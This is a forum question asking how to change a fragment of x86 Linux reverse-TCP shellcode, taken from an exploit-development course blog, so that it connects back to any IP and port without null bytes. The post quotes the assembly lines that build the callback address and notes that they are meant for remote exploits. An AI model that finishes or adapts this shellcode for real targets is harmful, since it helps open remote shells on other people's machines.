By using this site, you agree to our updated Privacy Policy and our Terms of Use. Manage your Cookies Settings.
431,985 Members | 1,712 Online
Bytes IT Community
+ Ask a Question
Need help? Post your question and get tips & solutions from a community of 431,985 IT Pros & Developers. It's quick & easy.

How to change the assembly code in this shell for make it work with any IP and port?

P: 1
I have read this blog: https://www.rcesecurity.com/2014/07/slae-shell-reverse-tcp-shellcode-linux-x86/, In the complete shellcode, as you read it, I ask the guy who created that blog, he say:

"keep in mind that your port or ip should not contain a \x00, which could break it. If your IP contains a zero like 192.168.0.1 or your port contains a zero like 80, the shellcode will likely fail when you use it with a remote exploit".
and I ask what IP and port can work with this shell code, he say:

"all IPs and ports that do not contain a zero in their network byte-order representation. So 0x0101017f which is the network-byte order representation of 127.1.1.1 is fine. 0x100007f which would be 127.0.0.1 is not working".
So can anyone help me how to edit just one thing :

push 0x0101017f ;sin_addr=127.1.1.1 (network byte order)
push word 0x3905 ;sin_port=1337 (network byte order)
inc ebx
push word bx ;sin_family=AF_INET (0x2)
mov ecx, esp ;save pointer to sockaddr struct`
To make the the shell work with any ip address and port number?
May 10 '16 #1
Share this question for a faster answer!
Share on Google+

Post your reply

Sign in to post your reply or Sign up for a free account.